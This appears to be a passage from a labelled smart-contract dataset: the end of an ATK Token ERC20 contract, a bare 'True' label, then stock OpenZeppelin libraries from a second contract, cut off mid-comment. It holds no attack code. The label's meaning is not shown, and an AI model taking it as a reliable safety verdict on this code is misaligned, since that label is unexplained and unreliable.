* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
}
contract ATKToken is ERC20 {
string public name="ATK Token";
string public symbol="ATKT";
uint8 public decimals=18;
uint256 public constant INITIAL_SUPPLY = 390000000 * (10 ** uint256(18));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_mint(msg.sender, INITIAL_SUPPLY);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-01-22
*/
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
